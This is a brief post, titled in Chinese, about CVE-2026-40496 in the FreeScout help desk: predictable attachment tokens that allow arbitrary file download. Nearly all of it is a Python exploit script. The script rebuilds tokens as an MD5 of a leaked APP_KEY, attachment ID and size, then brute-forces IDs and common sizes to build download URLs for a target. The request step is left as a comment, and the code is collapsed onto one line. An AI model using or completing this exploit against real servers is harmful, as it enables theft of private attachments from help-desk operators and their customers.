CVE-2026-40496 FreeScout 附件令牌可预测导致任意文件下载

import hashlib # Exploit logic for CVE-2026-40496 # Assumption: APP_KEY is known, leaked, or default. # The token generation logic is: md5(APP_KEY + attachment_id + size) def generate_token(app_key, attachment_id, size): # Concatenate parameters based on the vulnerable logic raw_string = f"{app_key}{attachment_id}{size}" # Generate MD5 hash return hashlib.md5(raw_string.encode()).hexdigest() def exploit(target_url, app_key, start_id=1, end_id=1000): print(f"[*] Starting exploit against {target_url}") # Iterate through sequential attachment IDs for attachment_id in range(start_id, end_id + 1): # Common file sizes to brute-force (in bytes) # Example sizes: 1KB, 10KB, 100KB, 1MB, 5MB common_sizes = [1024, 10240, 102400, 1048576, 5242880] for size in common_sizes: token = generate_token(app_key, attachment_id, size) # Construct the malicious URL # Note: Actual endpoint structure may vary based on FreeScout version malicious_url = f"{target_url}/attachment/{attachment_id}/download?token={token}" print(f"[+] Trying ID: {attachment_id}, Size: {size}, Token: {token}") print(f" URL: {malicious_url}") # Attacker would send an HTTP request here and check status code (e.g., 200 OK) # if response is 200, the download is successful. if __name__ == "__main__": # Configuration TARGET = "http://example.com" LEAKED_APP_KEY = "base64:SECRET_KEY_HERE=" exploit(TARGET, LEAKED_APP_KEY)